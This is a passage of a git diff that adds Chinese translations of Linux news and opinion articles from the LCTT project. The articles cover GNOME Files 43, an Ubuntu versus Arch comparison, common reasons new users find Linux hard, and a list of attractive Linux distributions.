+例如,Nemo 或 Dolphin - 这两个最好的文件管理器在各方面都胜过 “文件”。比较一下功能,GNOME “文件” 没有一些流行的功能: + + * 双面板或分割视图 + * 从上下文菜单中打开一个根文件夹是困难的 + * 一个用于文件夹浏览的向上箭头 + * 没有从上下文菜单中创建一个新文件(文本、电子表格等)的选项 + * 更多的排序和搜索功能 + +我们希望这些功能能尽快出现在 GNOME “文件” 中。 + +### 何时能用 + +如上所述,这个版本的 GNOME “文件” 将与 GNOME 43 一起提供。因此,从 Linux 发行计划的角度来看,你应该在 2022 年 10 月的 Ubuntu 22.10 和今年晚些时候的 Fedora 37 上拥有它。 + +不幸的是,[Ubuntu 22.04 LTS][9](Jammy Jellyfish)和带有 [GNOME 42][10] 的 [Fedora 36][11] 将不会有 GNOME “文件” 43。主要原因是时间表不匹配,而且它是要移植到 GTK4 和彻底测试的复杂应用之一。然而,大部分上述的内部功能仍然会在 “文件” 42 中。但它可能缺少漂亮的 UI 变化和主题。 + +尽管如此,我相信这个流行的文件管理器看起来不错,当它发布时,用户应该会很兴奋地使用它。让我知道你对 GNOME “文件” 43 的新变化的看法,请在下面的评论框中留言。 + +加油! + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/2022/03/gnome-files-43/ + +作者:[Arindam][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lujun9972 +[1]: https://gitlab.gnome.org/GNOME/nautilus +[2]: https://www.debugpoint.com/wp-content/uploads/2022/03/GNOME-Files-43-and-42-Light-Mode-Comparison-1024x502.jpg +[3]: https://www.debugpoint.com/wp-content/uploads/2022/03/GNOME-Files-43-and-42-Dark-Mode-Comparison-1024x493.jpg +[4]: https://www.debugpoint.com/wp-content/uploads/2022/03/New-option-in-address-bar-menu-1024x267.jpg +[5]: https://www.debugpoint.com/wp-content/uploads/2022/03/The-Hamburger-menu-now-have-keyboard-shortcuts-1024x331.jpg +[6]: https://www.debugpoint.com/wp-content/uploads/2022/03/Context-Menu-for-folder-changes-1024x560.jpg +[7]: https://www.debugpoint.com/wp-content/uploads/2022/03/A-subtle-change-in-context-menu-for-file-association-1024x524.jpg +[9]: https://www.debugpoint.com/2022/01/ubuntu-22-04-lts/ +[10]: https://www.debugpoint.com/2021/12/gnome-42/ +[11]: https://www.debugpoint.com/2022/02/fedora-36/ +[12]: https://t.me/debugpoint +[13]: https://twitter.com/DebugPoint +[14]: https://www.youtube.com/c/debugpoint?sub_confirmation=1 +[15]: https://facebook.com/DebugPoint diff --git a/published/202204/20220303 Ubuntu vs Arch- Which Linux Distro is better.md b/published/202204/20220303 Ubuntu vs Arch- Which Linux Distro is better.md new file mode 100644 index 0000000000..c4836821b5 --- /dev/null +++ b/published/202204/20220303 Ubuntu vs Arch- Which Linux Distro is better.md @@ -0,0 +1,287 @@ +[#]: subject: "Ubuntu vs Arch: Which Linux Distro is better?" +[#]: via: "https://itsfoss.com/ubuntu-vs-arch/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "aREversez" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14485-1.html" + +Ubuntu vs Arch:孰优孰劣? +====== + +Ubuntu 与 Arch Linux 为用户提供了完全不同的桌面体验。 + +在两者之间做出选择,实在让人左右为难,尤其是在既想体验 [Arch Linux 的亮点][1] 又想保留 Ubuntu Linux 的优势的情况下。 + +两种发行版本身都是用户的绝佳选择。不过,如何从两者中选出最佳的一种呢? + +在这篇文章中,我将从各方面介绍 Ubuntu 和 Arch Linux 的不同之处,希望可以帮助你解决这一选择难题。 + +![](https://img.linux.net.cn/data/attachment/album/202204/18/152800txaq8qdjsmj1oxaj.jpg) + +### 1、目标用户 + +Arch Linux 旨在为那些喜欢鼓捣、喜欢折腾的用户提供 **DIY** 体验,自定义 Linux 系统的各种元素。 + +比如,构建软件包,以及自定义桌面。 + +Arch Linux 的上手体验取决于 [安装设置它][3] 的用户。所以,Arch Linux 可以轻易迎合寻找不同包以及桌面环境等元素的用户。 + +而另一方面,Ubuntu 的目标用户是那些想使用 **操作方便,预先配置好的** Linux 系统。 + +这类用户希望系统预装必要的工具,确保一切都会按照预期进行。换言之,他们想要的是一个理想的系统,无需担心设置问题。 + +Ubuntu 也不希望用户花费大把时间来提升自己的体验,所以它选择以满足绝大多数用户的需求为基准。 + +### 2、系统安装 + +不得不说,Ubuntu 提供了简洁直观的安装方式,因为它提供的图形用户界面大大方便了安装。 + +![][4] + +如果有需要,你甚至可以 [在 Ubuntu 服务器上安装一个图形用户界面][5]。 + +但要安装 Arch Linux,你就不得不使用终端(命令行)。 + +![][6] + +还好,[Arch Linux 现在有了引导式的安装程序][7],这使得通过终端安装 Arch Linux 变得更加容易了。 + +![][8] + +当然,还是 Ubuntu 的安装更为方便一些。 + +### 3、桌面体验 + +![][9] + +Ubuntu 旨在 **方便用户**。为此,Ubuntu 项目的领导者 Canonical 公司提供了自定义的 GNOME 桌面环境体验。 + +尽管你可能无法像在 KDE Plasma 上那样自由地定制桌面,你依然可以有很多其他选择。感兴趣的话,可以点击了解 [KDE vs GNOME][10]。 + +Ubuntu 也会定期收集用户体验反馈信息,尽可能地帮助用户提高工作效率。 + +Arch Linux **更加注重功能** 以及其他技术方面,而不是用户的桌面体验。用户体验完全取决于用户在安装 Arch Linux 时是如何设置的。 + +使用 Arch Linux 时,你能依赖的只有桌面环境提供的开箱即用工具,没有为用户量身定制的改进。如果你想体验一些不一样的东西,你就必须对系统加以调整。 + +![Arch Linux with GNOME][11] + +不过,好在 Arch Linux 允许用户选择 KDE Plasma、GNOME 或者 [其他桌面环境][12],所以你可以充分利用这一优势,根据自己的喜好来选择桌面环境。 + +不仅如此,在安装 Arch Linux 时,你还可以选择平铺式窗口管理器。 + +总体来说,如果使用 Ubuntu,你的桌面体验和其他用户的体验别无二致,因为 Ubuntu 可以自定义的元素极少。 + +相反,如果使用 Arch Linux,你就可以 **自由定义桌面体验**。但请注意,这可能只适合 Linux 老手,如果你刚开始使用 Linux,恐怕做起来比较困难。 + +### 4、文件系统 + +大多数用户不需要关心他们的 Linux 发行版所使用的文件系统。 + +因此,Ubuntu 坚持使用 **ext4** 作为文件系统。ext4 具有现代计算机所需的全部基本功能,是一种非常优秀的最常见的文件系统。 + +然而,如果你不想使用 **ext4**,而想选择具备其他各种优势的文件系统,那么你可以考虑 Arch Linux。 + +![][13] + +你可以选择 btrfs、ext4、xfs 或者 f2fs。针对这些文件系统的优势,本文不再详述,但是如果你选择 **ext4** 之外的文件系统,请确保你知道自己在做什么。 + +### 5、软件生态 + +Ubuntu 支持的软件更多,这就是为什么 [大多数主流 Linux 发行版][14] 都是基于 Ubuntu 的。 + +![][15] + +相应地,许多工具在开发时也是首先支持 Ubuntu,而后才是其他发行版本。 + +此外,在 Ubuntu 上安装软件包也非常容易。你可以通过 Ubuntu 官方仓库安装软件包,也可以使用 PPA,或者是软件中心(包括 Snap 应用)。 + +也可以使用 [Flatpak][16] 来安装软件。如果你的 Ubuntu 没有 Flatpak,你可以 [前往 Flathub 安装它][17]。 + +如果你使用的是 Arch Linux,那么你也可以通过官方仓库安装许多软件。 + +可惜的是,相较于 Ubuntu,一些应用开发者可能不会正式支持 Arch Linux。 + +此外,你会发现,Arch Linux [安装和管理软件包都需要使用 pacman][18]。使用哪个图形界面的安装程序进行软件的安装和管理,取决于你所选择安装的桌面环境。 + +![][19] + +举个例子,如果你安装的是 GNOME 桌面,你可以使用 GNOME 的 “软件” 应用;如果是 KDE Plasma 桌面,可以使用 “发现” 应用。 + +这些软件包管理器都不会内置 Snap 或 Flatpak 支持,所以你只能根据需要自行安装。 + +为了获取更多的软件,你可以使用 [AUR][20]。请注意,AUR 是社区构建的软件仓库,所以官方建议你不要完全依赖它。 + +![][21] + +即便如此,AUR 也经常被看做是 Arch Linux 的优势之一,毕竟社区提供的软件包比 Ubuntu 提供的更为丰富。 + +你可以通过使用一些 [AUR 辅助工具][22] 来提升体验质量。 + +总体来说,如果你想仅靠一个工具就能轻松安装并且管理软件,那么 Ubuntu 当属不二之选。 + +### 6、极简 vs 臃肿 + +极简还是臃肿,这完全取决于个人的偏好,因为在配置 Arch Linux 时,一切尽在你的掌握之中。所以你可以在满足需要的情况下,只安装最少数量的包。 + +相比之下,Ubuntu 预装了许多软件。在一些人看来,这些软件都很实用。 + +![][23] + +当然,如果你不需要,也可以卸载。 + +不过,还有一些人认为,这些软件没什么必要,只会显得 Ubuntu 十分臃肿。 + +因此,你需要好好考虑一下,看自己究竟是想要预装的必备软件呢(Ubuntu)?还是拒绝臃肿,只取所需呢(Arch Linux)? + +### 7、自由 vs 限制 + +![Arch Linux \(Neofetch\)][24] + +就像前文所提到的,Arch Linux 允许你控制系统的一切,它赋予用户极大的自由度,让用户可以尽情定制体验。 + +这不仅仅局限于桌面环境或是平铺式窗口管理器,而是更多。 + +例如,你还可以选择自己喜欢的音频服务器,比如 PulseAudio 或者 pipewire。 + +你也可以选择特定的 Linux 内核,比如提供了安全性更高的加固版本、能够提升用户体验的 Zen 内核或者某个长期支持版本的 Linux 内核。 + +不同于 Arch Linux,Ubuntu 一直坚持使用经过全面测试的 Linux 内核,而且默认使用 PulseAudio 作为音频服务器(笔者写这篇文章时情况如此)。 + +但说到底,哪个能满足你的需求,哪个才是最好的。 + +### 8、社区支持 + +Ubuntu 拥有坚实的用户基础,可以提供广泛的社区支持。与其相关的论坛和门户网站有很多,可以指导 Ubuntu 用户,帮助解决遇到的难题。 + +![itsfoss community][25] + +你也可以在论坛(包括 [It’s FOSS 社区][26])发布问题,寻求帮助。 + +Arch Linux 用户比较少,所以不提供类似的社区支持。不过,Arch Linux 的维基提供了几乎涉及各个方面的高质量技术文档,算是弥补了这一不足。 + +![arch wiki][27] + +如果你想探索,[Arch Linux 维基][28] 有着最丰富的技术文档。 + +### 9、发布周期 + +Ubuntu 提供 [长期支持版本][29],在五年或更长时间(针对企业)提供小的更新维护。 + +![][30] + +Ubuntu 还提供了非长期支持版本,可以得到九个月的更新维护,而每半年发布一个新版本。非长期支持版本适合那些想体验最新软件包与功能的用户,每次升级都可能伴随着重大更新。 + +长期支持版本更适合于那些不希望每次更新都有破坏性变化的用户。 + +更多信息可以参考我们的文章:[Ubuntu 发行周期与生命周期结束][31] + +Arch Linux 属于 [滚动发行版][32],所以不用担心发布周期的问题。只要有更新,无论大小,都会发送给用户。 + +![][33] + +这可以确保你一直在使用最新和最强的软件包。这有时是件好事,但当它破坏一些东西时,对一些用户来说可能会很不方便。 + +### 10、硬件兼容性 + +![][34] + +Ubuntu 是一款面向台式电脑的主流发行版,所以在发布之前,它需要测试与各种硬件的兼容性。 + +我可以打包票,**Ubuntu 开箱即用的硬件兼容性非常优秀**。 + +Arch Linux 不像 Ubuntu 那样进行过大量的测试,所以它不一定能在你的硬件上正常运行。 + +不过,正因为 Arch Linux 有着最新最强的 Linux 内核包,所以有时它的表现要优于 Ubuntu。 + +如果你不太清楚自己硬件的兼容性,你最好请教一下周围的人,确保你在安装 Arch Linux 时不会出现别人已经遇到过的问题。 + +因此,选择 Ubuntu,你就可以高枕无忧了,除非你使用的是非常尖端的设备。 + +### 11、稳定性 + +如果你不想让你的系统崩溃,或是不想遇到错误,**Ubuntu 应该是更好的选择**. + +Arch Linux 的话,情况就不好说了。它可以工作得很好,也可以因为一次更新而倒下。 + +Arch Linux 本身并不算稳定,你需要自行维护它,确保在自定义以及更新过程中不会出现任何问题。 + +### 再三考虑: 你该选哪个? + +考虑到稳定性、兼容性、软件生态以及上手速度等因素,对于那些只想顺利完成工作而不想麻烦折腾的人来说,Ubuntu 是一个完美的选择。 + +而对那些想要定制桌面体验而适应自己工作内容,以及寻求最新功能和最强性能的用户来说,Arch Linux 最合适不过了。 + +如果你想探索未知,Arch Linux 可以给你带来非常奇妙的体验。但对于一些人来说,Arch Linux 使用起来可能比 Ubuntu 要困难许多。 + +那么,考虑到以上所有因素,**你觉得自己会选哪个?** 期待你能在下方评论区留言。 + +### 常见问题解答:如果你还没决定到底用哪一个 + +可能有些人还会有一些问题,可以参考一下内容: + +**Arch 比 Ubuntu 更好吗?** + +对,也不对。就技术层面来讲,Arch Linux 确实更好,但是你也需要考虑它的稳定性、软件生态以及维护它所需要的学习时间。也就是说,在得出答案之前,你需要根据自己的喜好,再三考虑一番。 + +**哪个更快?Ubuntu 还是 Arch?** + +Arch Linux 更快,因为它安装的东西很少。不过,根据你的配置不同,情况可能也会有所不同。 + +注意,Ubuntu 与 Arch Linux 相比,速度并不会差很多。只不过因为它开箱即用的包会更多,所以有些人会认为 Ubuntu 比较臃肿。 + +**我是不是应该从 Ubuntu 转到 Arch 呢?** + +如果你想优化体验,想要一直获取最新最优秀的软件包,同时又不会担心稳定性,Arch Linux 会比较适合你。 + +如果你只是为了完成工作,需要的是一些基础功能,Ubuntu 就够用了。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/ubuntu-vs-arch/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[aREversez](https://github.com/aREversez) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/why-arch-linux/ +[2]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/ubuntu-vs-arch.jpg?resize=800%2C450&ssl=1 +[3]: https://itsfoss.com/install-arch-linux/ +[4]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/09/try-ubuntu-install-ubuntu.jpeg?resize=800%2C530&ssl=1 +[5]: https://itsfoss.com/install-gui-ubuntu-server/ +[6]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/arch-linux-boot-menu-install.png?resize=635%2C481&ssl=1 +[7]: https://news.itsfoss.com/arch-new-guided-installer/ +[8]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/arch-install-terminal.png?resize=800%2C279&ssl=1 +[9]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/ubuntu-20-04-ux.jpg?resize=800%2C407&ssl=1 +[10]: https://linux.cn/article-14320-1.html +[11]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/arch-linux-gnome.png?resize=732%2C413&ssl=1 +[12]: https://itsfoss.com/what-is-desktop-environment/ +[13]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/arch-linux-filesystem.png?resize=800%2C149&ssl=1 +[14]: https://itsfoss.com/best-linux-distributions/ +[15]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/ubuntu-software-center.png?resize=800%2C574&ssl=1 +[16]: https://itsfoss.com/what-is-flatpak/ +[17]: https://itsfoss.com/flatpak-guide/ +[18]: https://itsfoss.com/pacman-command/ +[19]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/arch-install-terminal-software.png?resize=763%2C431&ssl=1 +[20]: https://itsfoss.com/aur-arch-linux/ +[21]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/09/sky-aur-install.png?resize=800%2C560&ssl=1 +[22]: https://itsfoss.com/best-aur-helpers/ +[23]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/ubuntu-utilities.png?resize=800%2C520&ssl=1 +[24]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/arch-linux-neofetch.png?resize=800%2C533&ssl=1 +[25]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/itsfoss-community.jpg?resize=800%2C580&ssl=1 +[26]: https://itsfoss.community/ +[27]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/arch-wiki.png?resize=800%2C332&ssl=1 +[28]: https://wiki.archlinux.org/ +[29]: https://itsfoss.com/long-term-support-lts/ +[30]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/ubuntu-info.png?resize=800%2C595&ssl=1 +[31]: https://itsfoss.com/end-of-life-ubuntu/ +[32]: https://itsfoss.com/rolling-release/ +[33]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/arch-info.png?resize=800%2C573&ssl=1 +[34]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/hardware-compatibility-illustration.png?resize=800%2C450&ssl=1 diff --git a/published/202204/20220308 5 Things to Know When Someone Says Linux is Tough.md b/published/202204/20220308 5 Things to Know When Someone Says Linux is Tough.md new file mode 100644 index 0000000000..68ad902522 --- /dev/null +++ b/published/202204/20220308 5 Things to Know When Someone Says Linux is Tough.md @@ -0,0 +1,175 @@ +[#]: subject: "5 Things to Know When Someone Says Linux is Tough" +[#]: via: "https://news.itsfoss.com/things-to-know-linux-is-tough/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "aREversez" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14429-1.html" + +Linux 太难了?你需要知道这 5 点 +====== + +> Linux 很难吗?为什么人们认为它很难?我们重点分析了一些常见的问题,并对其进行了说明,让你觉得它没那么难。 + +![](https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/03/linux-is-tough.png?w=1200&ssl=1) + +如果只有 Windows、macOS、Linux 三种操作系统可供选择,那么大多数人应该都不怎么会考虑 Linux 系统。 + +Linux 一般用在服务器上,但对普通用户台式机和笔记本电脑来说,情况并非如此。 + +更糟糕的是,很多人只是从别人那儿听来的,都没有亲自试过,就觉得 Linux 太难了。 + +但是 Linux 真有那么难吗?若果真如此,Linux 到底难在哪里呢? + +### Linux 难学吗? + +与 Windows 和 macOS 相比,Linux(这里指 Linux 发行版)确实有很多根本不同。 + +但也多亏了这些差别,Linux 发行版具备了 [Windows][1] 与 [macOS][2] 所不具备的的许多优势。 + +另外,Linux 基本可以满足你的日常需要。在很多情况下,Linux 操作系统的用户界面与 Windows 或者 macOS 的相差并不大,所以用起来也相当方便。 + +**不信?** 请看这篇:《[与 Windows 相似的 Linux 发行版][3]》 + +那么,Linux 有哪些方面会让用户望而却步呢? + +在这篇文章中,我将讨论 Linux 让新用户们普遍犯难的问题,希望可以借此让他们对 Linux 有所改观。 + +### 1、软件安装与软件包管理 + +![][4] + +在 Linux 上,安装软件(软件包)的方法有很多。 + +你可以从软件中心安装,也可以在终端进行安装,或者从官方软件源下载软件包然后自行手动安装。 + +再或者,你甚至可以通过 [编译源码来安装软件][5]。 + +与 Windows 或者 macOS 不同,Linux 系统可不会使用 EXE 文件或 dmg 文件。 + +对于不同的 Linux 发行版,软件包也会有所不同。例如,[DEB 文件可以安装在 Ubuntu 上][6]。而在 Fedora 系统下,需要 [安装 RPM 文件][7]。 + +在这种情况下,[Flatpak][8] 和 Snap 应运而生,使得软件安装更为便捷。如果一款软件有对应的 Flatpak 软件包或者 Snap 软件包,你就可以把它安装在任意一种 Linux 发行版上。 + +不过,一些 Linux 发行版可能需要用户自行 [安装 Flatpak][9] 或者 [Snap][10],因为这些发行版默认情况下可能并不支持它们。 + +所以你要明白,由于 Linux 有很多不同的发行版本,软件安装方式以及软件包的类型也会存在许多区别。不过,只要了解某个发行版所支持的软件包格式以及安装方法,安装软件就简单多了。 + +### 2、“终端恐惧症” + +![][16] + +在 Windows 或 macOS 系统下,你可能不会经常打开命令行或者终端。 + +可能也就是在故障排除的时候,会需要使用命令行。但在 Linux 系统下,终端的使用频率却非常高。 + +即便是在 [最好用的 Linux 发行版][11] 上,你可能也会经常打开终端,输入命令来执行一些任务,比如: + + * 更新软件包列表 + * 移除一个不是通过软件中心安装的软件 + * 添加一个软件仓库来安装软件 + +从技术层面讲,你不需要学习复杂的命令,但是知道一些如何卸载软件包或者安装 Flatpak 程序的命令,就会很方便。 + +通常情况下,软件的官网上会列出安装命令或者说明。针对故障排除,有时也可以在社区论坛上找到需要输入的确切命令。 + +所以说,你根本不需要去“记”什么,上网一搜,应有尽有。 + +不过,一些用户还是觉得这样会很麻烦,所以他们干脆放弃了 Linux。 + +最终,这些人只要碰到与 Linux 相关的东西,就避而远之,再也提不起兴趣。 + +### 3、安装显卡驱动 + +![][17] + +macOS 不支持第三方显卡,这就意味着它无法实现虚拟化(尤其是 ARM),也无法用来玩游戏。所以,我们这里不谈 macOS,来看看 Windows。 + +Windows 和 Linux 一样,都支持游戏和虚拟化技术。如果你用它们不只是看看视频,那就需要安装显卡驱动来支持这些功能。 + +在 Windows 上,你需要下载安装显卡的对应驱动。大多数情况下,首次安装的过程中并不会出现问题。 + +不过,在 Linux 上,最新版本的显卡驱动不一定能够正常运行(尤其是英伟达显卡的驱动)。所以,这已经不是从官网下载安装驱动那么简单的问题了。 + +如果你的 Linux 发行版带有驱动管理器功能,比如 Linux Mint 操作系统,那事情就简单了。 + +如果没有的话,你可能需要下载一个包含适合自己系统的显卡驱动的 ISO 文件。 + +总的来说,如果你使用了主流的 Linux 发行版,那么安装显卡驱动并不是一件难事;但是如果你使用的不是主流的发行版,你可能需要在安装之前好好查一查。 + +### 4、软件支持 + +Windows 和 macOS 上的应用并不一定都有对应的 Linux 版本。 + +如果软件提供了跨平台支持,就有可能提供 Ubuntu、Fedora 以及 Arch 等 Linux 发行版的对应版本。否则,就只能去找这些软件的替代品了。 + +所以,很多软件不支持 Linux 系统,就给用户带来了较差的使用体验。 + +不过,我们列出了一份内容丰富的 [必备软件清单][12],相信能帮助你更好地使用 Linux 系统。 + +遗憾的是,一些用户没有意识到这一点,仍然不愿意去尝试替代软件。 + +### 5、调整外围设备与部件 + +![][18] + +操作难度和软件支持并不是问题的全部,管理和调整电脑外围硬件设备也是一个重要方面。 + +雷蛇、海盗船以及华硕等许多硬件公司没有为 Linux 提供相应的官方支持。 + +因此,当用户意识到自己无法那么便捷地管理电脑的 RGB 灯条、风扇配置文件以及冷却设备时,他们自然也就不会考虑使用 Linux。 + +不过你要知道,已经有许多工具可以帮助你应对这一问题,比如: + + * [配置游戏鼠标][13] + * [调整雷蛇外部设备][14] + * [监控和控制冷却设备][15] + +这些工具可能不是官方提供的,但是它们适用于很多外部设备与组件。因此,如果你是因为外部设备和部件没有官方支持而放弃使用 Linux,那么你可以尝试这些工具。 + +### 总结 + +我觉得这些都是最为普遍的问题,这些问题导致了 Linux 劝退新手,摊上最难使用的操作系统的名号。 + +要记住,尝试一款陌生的操作系统总是伴随着新的挑战,需要一定的时间来适应。 + +Linux 作为一款桌面操作系统,相较于以前,操作难度降低不小。像 Ubuntu、 Pop!_OS、 Linux Mint、 Linux Lite 之类的 Linux 发行版能让用户更容易上手。 + +即便 Linux 有了那么多的改善与提升,还是有很多用户不愿意使用它,所以我们想让你了解 Linux 并没有你想象的那么难用。 + +如果你的朋友还在纠结上述原因而不肯尝试 Linux,我推荐你把这篇文章分享给他,帮助他进一步了解并使用 Linux。 + +请在下方评论留言。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/things-to-know-linux-is-tough/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[aREversez](https://github.com/aREversez) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/linux-better-than-windows/ +[2]: https://itsfoss.com/linux-vs-mac/ +[3]: https://itsfoss.com/windows-like-linux-distributions/ +[4]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/appimage-illustration.png?w=1000&ssl=1 +[5]: https://itsfoss.com/install-software-from-source-code/ +[6]: https://itsfoss.com/install-deb-files-ubuntu/ +[7]: https://itsfoss.com/install-rpm-files-fedora/ +[8]: https://itsfoss.com/what-is-flatpak/ +[9]: https://itsfoss.com/flatpak-guide/ +[10]: https://itsfoss.com/use-snap-packages-ubuntu-16-04/ +[11]: https://itsfoss.com/best-linux-distributions/ +[12]: https://itsfoss.com/essential-linux-applications/ +[13]: https://itsfoss.com/piper-configure-gaming-mouse-linux/ +[14]: https://itsfoss.com/set-up-razer-devices-linux/ +[15]: https://itsfoss.com/coolero/ +[16]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/03/terminal-illustration.png?w=1000&ssl=1 +[17]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/03/gpu-illustration.png?w=1000&ssl=1 +[18]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/03/components-illustration.png?w=1000&ssl=1 diff --git a/published/202204/20220317 Top 10 Most Beautiful Linux Distributions -Featured.md b/published/202204/20220317 Top 10 Most Beautiful Linux Distributions -Featured.md new file mode 100644 index 0000000000..597d91afaa --- /dev/null +++ b/published/202204/20220317 Top 10 Most Beautiful Linux Distributions -Featured.md @@ -0,0 +1,200 @@ +[#]: subject: "Top 10 Most Beautiful Linux Distributions [Featured]" +[#]: via: "https://www.debugpoint.com/2022/03/beautiful-linux-distributions-2022/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lujun9972" +[#]: translator: "amagicboy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14501-1.html" + +精选 10 个最美的 Linux 发行版 +====== + +![](https://img.linux.net.cn/data/attachment/album/202204/23/152856vwq5071qzhn6n7rj.jpg) + +> 我们选出 2022 年 10 个最美的 Linux 发行版,在保证系统稳定的前提下,会给你良好的视觉体验。 + +定制化拓展 Linux 发行版以满足需求是非常有意思的事。无论是 Ubuntu 还是 Fedora ,都有各种各样的工具去定制化 Linux 桌面。 + +但是,也有很多不需要任何定制化而且令人眼前一亮的 Linux 发行版。它们的开发者使它们在安装后不需要再定制化就能有非常好的视觉效果。 + +现在,我们编制了一份最美 Linux 发行版列表,你可以现在尝试来更新你电脑的视觉外观。 + +### 2022 最美的 Linux 发行版 + +#### 1、Zorin OS + +最先介绍的 Linux 发行版是 Zorin OS。Zorin OS 使用基于 GNOME 的 Zorin 桌面 ,非常适合追求美观的桌面和生产力的新用户。 + +Zorin OS 最有特点的功能之一是,它可以随意转化,让其看起来像其他操作系统桌面,这意味着只需要设置布局选项,就可以改变任务栏、应用菜单、停靠栏,给用户最大的的灵活性,安装即用。 + +> **[阅读有关 Zorin OS 更多信息][2]** + +![Zorin OS 16 桌面][3] + +#### 2、elementary OS + +elementary OS 是基于 Ubuntu 长期稳定支持(LTS)发行版中最美观的一个。它使用吸引人的 Pantheon 桌面环境,其外观和使用体验受到了 macOS 的启发。 + +elementary OS 非常适合从 macOS 进入 Linux 世界的新用户,因为他们会发现许多熟悉的东西,比如手势和窗口样式。 + +但是,elementary OS 很多地方不能通过设置菜单进行定制,只能依靠外部脚本命令来进一步定制。不过系统默认桌面就已经十分美观了,能满足大部分人的需求。 + +elementary OS 最具特色的是它精心设计的应用商店。应用商店提供各种类别的应用,特别是那些专为 elementary OS 定制而且外观精美、功能强大的应用。 + +> **[阅读有关 elementaryOS 更多信息][4]** + +![elementary OS 6 ODIN 桌面][5] + +#### 3、深度操作系统 + +第三个介绍的 Linux 发行版是深度操作系统。它基于 Debian ,由中国深度科技公司开发。它使用自研的基于 Qt 的深度桌面环境(DDE)。深度桌面的部件、配色方案、窗口样式、壁纸看起来都非常不错,给用户安装即享的视觉体验。 + +深度操作系统精心打磨的视觉组件和 macOS 非常相似。并且由于是 Debian 的稳定分支,如果你想要一个外观精美且稳定可靠的 Linux 发行版,深度操作系统是最适合的选择。 + +为什么深度操作系统体验很好? + + * 基于 Qt 的酷炫桌面 + * 原生部件及支持暗色主题 + * 定制化停靠栏的多种选择项 + * 透明度、窗口效果、光标主题、图标主题 + * 强调色 + +> **[阅读有关深度操作系统更多信息][6]** + +![Deepin 20 桌面][7] + +#### 4、CutefishOS + +第四个介绍的 Linux 发行版是 [CutefishOS][8] 。这个基于 Debian 和 Ubuntu 的 Linux 发行版具有一个原生开发的 Cutefish 桌面。 CutefishOS 还在开发中,但由于它的外观,它已经在用户群体中掀起波澜。(LCTT 译注:似乎也是国内团队开发的) + +CutefishOS 底层基于 Qt 和 KDE 框架构建。这个带有 Cutefish 桌面的高效 Linux 发行版在顶部提供了全局菜单功能。 + +由于其目前正在开发中,定制选项仍在进行中。但在最新的发行版中, CutefishOS 已经支持深色模式、强调色、动画效果、停靠位置(左、右、下)等选项。 + +如果你想体验完全不同的桌面风格,可以尝试 CutefishOS 。 你也可以查看下面提供的关于此桌面的完整评论和教程。 + +> **[Cutefish OS 评测][9]** + +![Cutefish OS][10] + +#### 5、Manjaro KDE Plasma 版 + +Manjaro Linux KDE 版是现在外观最好看的 Linux 发行版之一。 Manjaro KDE 基于 Arch Linux ,采用了 KDE Plasma,并额外添加了一些调整工具和组件。 Manjaro 的绿色调色板给你以全新的外观和体验。你可以通过内置的 KDE 工具和设置进一步定制,并从 KDE 商店获得图标和主题。 + +Manjaro KDE 是性能和外观与 Arch Linux 之强大的完美结合。对于 Arch Linux 新用户来说, Manjaro 是一个理想的起点。 + +> **[阅读有关 Manjaro KDE 更多信息][11]** + +![Manjaro KDE Plasma][12] + +#### 6、Garuda Linux + +出名的 Garuda Linux 是榜单上的第六位。 Garuda Linux 基于 Arch Linux ,带有美观的桌面,其特点是为所有主流桌面环境定制了图标、主题。 Garuda Linux 使用针对硬件优化了性能的 Zen 内核, + +Garuda Linux 的外观和体验令人印象深刻。其 macOS 风格看起来非常的方便。 Neon 图标主题、可爱的调色板、模糊和透明度与全局菜单的结合是其自身的完美选择。 + +Garuda 